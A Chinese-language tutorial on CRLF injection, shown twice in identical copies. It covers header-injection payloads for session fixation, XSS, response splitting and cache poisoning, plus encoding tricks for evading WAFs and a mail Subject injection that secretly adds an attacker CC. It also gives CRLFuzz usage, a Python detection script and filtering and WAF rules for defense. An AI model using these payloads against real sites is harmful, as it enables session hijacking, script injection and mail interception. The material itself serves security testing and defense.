1. CRLF注入漏洞基础认知第一次听说CRLF注入时我正对着一个302跳转漏洞抓耳挠腮。当时发现某个网站的跳转URL参数存在异常回显随手输入%0d%0a后返回头里竟然多出了一行自定义内容——这就是典型的CRLF注入场景。所谓CRLF其实是两个ASCII控制字符的缩写CRCarriage Return回车符\r十六进制0x0DURL编码%0DLFLine Feed换行符\n十六进制0x0AURL编码%0A在HTTP协议中这两个字符承担着重要使命报文分隔每个HTTP头部字段以\r\n结尾头体分界头部与正文之间用\r\n\r\n分隔协议规范RFC 2616明确规定行结束符必须为CRLF这就好比写文章时的段落格式——每个句子用句号结束CRLF段落之间空一行双CRLF。如果攻击者能控制这些标点符号就能篡改整个文章的结构。2. 漏洞原理深度解析去年审计某开源项目时我发现了这样一段危险代码// 危险的重定向实现 header(Location: . $_GET[url]);当用户输入http://example.com%0d%0aSet-Cookie:hacked1时响应包会变成HTTP/1.1 302 Found Location: http://example.com Set-Cookie: hacked1这种注入会导致三种典型危害2.1 会话固定攻击通过注入Set-Cookie头攻击者可强制用户使用预设会话ID。我在实际测试中发现某些银行网站的重定向接口就存在此类漏洞。2.2 反射型XSS注入双CRLF后插入HTML代码http://victim.com/redirect?url%0d%0a%0d%0ascriptalert(1)/script响应体首部会直接执行脚本这种XSS能绕过大多数WAF的检测。2.3 HTTP响应拆分通过精心构造的CRLF序列可以将单个响应拆分成多个响应。在一次渗透测试中我曾利用这个特性绕过CSRF防护。3. 手动检测方法论根据OWASP测试指南我总结出四步检测法定位注入点常见位置重定向参数Location头自定义头X-Forwarded-For等日志输出User-Agent等基础探测使用Burp SuiteGET /redirect?urltest%0d%0aX-Test:1 HTTP/1.1 Host: victim.com编码绕过当直接注入失败时双重编码%250d%250aUnicode编码%u000a大小写变异%0D%0a漏洞验证 观察响应头是否包含注入内容特别注意以下头Set-CookieX-XSS-ProtectionContent-Type4. 自动化检测实战最近在github上发现个神器CRLFuzz用Go编写的高性能检测工具。分享我的使用心得4.1 基础扫描./crlfuzz -u https://target.com/path?paramtest4.2 高级技巧# 使用自定义payload列表 ./crlfuzz -u https://target.com -p payloads.txt # 结合Chromium headless模式 ./crlfuzz -u https://target.com -headless -proxy 127.0.0.1:80804.3 结果分析工具会标记三种检测结果[vuln]确认存在漏洞[maybe]需要人工验证[err]请求失败记得去年用这个工具扫描某电商平台15分钟就发现了3处CRLF注入点效率远超手动测试。5. 防御方案设计给企业做安全咨询时我通常会推荐分层防御策略5.1 输入处理层// Java示例过滤换行符 public static String sanitizeHeader(String input) { return input.replaceAll([\r\n], ); }5.2 框架安全层Spring Security配置HTTP头安全策略Django使用django.middleware.security.SecurityMiddlewareNginx添加如下配置server { # 阻止CRLF注入 if ($request_uri ~* \r|\n) { return 403; } }5.3 运维防护层WAF规则示例ModSecuritySecRule REQUEST_URI|REQUEST_HEADERS \r\n \ id:10001,phase:1,deny,msg:CRLF Injection Attempt6. 经典案例分析6.1 Nginx配置错误某次渗透测试遇到的真实案例location / { return 302 https://$host$uri; }当访问/%0d%0aSet-Cookie:test1时服务器响应HTTP/1.1 302 Moved Temporarily Location: https://victim.com/ Set-Cookie: test1修复方案是改用$request_uri变量。6.2 邮件系统CRLF注入在某企业邮箱系统发现可通过Subject字段注入Subject: Hello%0d%0bCC: attackerevil.com导致邮件被秘密抄送。7. 进阶利用技巧7.1 缓存投毒组合技通过CRLF注入修改Cache-Control头配合其他漏洞实现持久化攻击http://victim.com/?qtest%0d%0aCache-Control: public,max-age315360007.2 HTTP请求走私在反向代理场景下CRLF注入可能引发请求走私。去年就帮某云服务商修复过此类漏洞。8. 工具开发实践用Python写了个简单的CRLF检测脚本import requests def check_crlf(url): payloads [%0d%0aTest:1, %0aTest:1, %0dTest:1] for p in payloads: r requests.get(url p) if Test:1 in str(r.headers): return True return False这个脚本虽然简单但在批量检测时非常高效。建议在此基础上增加多线程支持结果报告生成智能编码探测记得有次在代码审计时发现某框架的header()函数存在CRLF注入风险通过自定义检测脚本快速定位了所有调用点。
1. CRLF注入漏洞基础认知第一次听说CRLF注入时我正对着一个302跳转漏洞抓耳挠腮。当时发现某个网站的跳转URL参数存在异常回显随手输入%0d%0a后返回头里竟然多出了一行自定义内容——这就是典型的CRLF注入场景。所谓CRLF其实是两个ASCII控制字符的缩写CRCarriage Return回车符\r十六进制0x0DURL编码%0DLFLine Feed换行符\n十六进制0x0AURL编码%0A在HTTP协议中这两个字符承担着重要使命报文分隔每个HTTP头部字段以\r\n结尾头体分界头部与正文之间用\r\n\r\n分隔协议规范RFC 2616明确规定行结束符必须为CRLF这就好比写文章时的段落格式——每个句子用句号结束CRLF段落之间空一行双CRLF。如果攻击者能控制这些标点符号就能篡改整个文章的结构。2. 漏洞原理深度解析去年审计某开源项目时我发现了这样一段危险代码// 危险的重定向实现 header(Location: . $_GET[url]);当用户输入http://example.com%0d%0aSet-Cookie:hacked1时响应包会变成HTTP/1.1 302 Found Location: http://example.com Set-Cookie: hacked1这种注入会导致三种典型危害2.1 会话固定攻击通过注入Set-Cookie头攻击者可强制用户使用预设会话ID。我在实际测试中发现某些银行网站的重定向接口就存在此类漏洞。2.2 反射型XSS注入双CRLF后插入HTML代码http://victim.com/redirect?url%0d%0a%0d%0ascriptalert(1)/script响应体首部会直接执行脚本这种XSS能绕过大多数WAF的检测。2.3 HTTP响应拆分通过精心构造的CRLF序列可以将单个响应拆分成多个响应。在一次渗透测试中我曾利用这个特性绕过CSRF防护。3. 手动检测方法论根据OWASP测试指南我总结出四步检测法定位注入点常见位置重定向参数Location头自定义头X-Forwarded-For等日志输出User-Agent等基础探测使用Burp SuiteGET /redirect?urltest%0d%0aX-Test:1 HTTP/1.1 Host: victim.com编码绕过当直接注入失败时双重编码%250d%250aUnicode编码%u000a大小写变异%0D%0a漏洞验证 观察响应头是否包含注入内容特别注意以下头Set-CookieX-XSS-ProtectionContent-Type4. 自动化检测实战最近在github上发现个神器CRLFuzz用Go编写的高性能检测工具。分享我的使用心得4.1 基础扫描./crlfuzz -u https://target.com/path?paramtest4.2 高级技巧# 使用自定义payload列表 ./crlfuzz -u https://target.com -p payloads.txt # 结合Chromium headless模式 ./crlfuzz -u https://target.com -headless -proxy 127.0.0.1:80804.3 结果分析工具会标记三种检测结果[vuln]确认存在漏洞[maybe]需要人工验证[err]请求失败记得去年用这个工具扫描某电商平台15分钟就发现了3处CRLF注入点效率远超手动测试。5. 防御方案设计给企业做安全咨询时我通常会推荐分层防御策略5.1 输入处理层// Java示例过滤换行符 public static String sanitizeHeader(String input) { return input.replaceAll([\r\n], ); }5.2 框架安全层Spring Security配置HTTP头安全策略Django使用django.middleware.security.SecurityMiddlewareNginx添加如下配置server { # 阻止CRLF注入 if ($request_uri ~* \r|\n) { return 403; } }5.3 运维防护层WAF规则示例ModSecuritySecRule REQUEST_URI|REQUEST_HEADERS \r\n \ id:10001,phase:1,deny,msg:CRLF Injection Attempt6. 经典案例分析6.1 Nginx配置错误某次渗透测试遇到的真实案例location / { return 302 https://$host$uri; }当访问/%0d%0aSet-Cookie:test1时服务器响应HTTP/1.1 302 Moved Temporarily Location: https://victim.com/ Set-Cookie: test1修复方案是改用$request_uri变量。6.2 邮件系统CRLF注入在某企业邮箱系统发现可通过Subject字段注入Subject: Hello%0d%0bCC: attackerevil.com导致邮件被秘密抄送。7. 进阶利用技巧7.1 缓存投毒组合技通过CRLF注入修改Cache-Control头配合其他漏洞实现持久化攻击http://victim.com/?qtest%0d%0aCache-Control: public,max-age315360007.2 HTTP请求走私在反向代理场景下CRLF注入可能引发请求走私。去年就帮某云服务商修复过此类漏洞。8. 工具开发实践用Python写了个简单的CRLF检测脚本import requests def check_crlf(url): payloads [%0d%0aTest:1, %0aTest:1, %0dTest:1] for p in payloads: r requests.get(url p) if Test:1 in str(r.headers): return True return False这个脚本虽然简单但在批量检测时非常高效。建议在此基础上增加多线程支持结果报告生成智能编码探测记得有次在代码审计时发现某框架的header()函数存在CRLF注入风险通过自定义检测脚本快速定位了所有调用点。
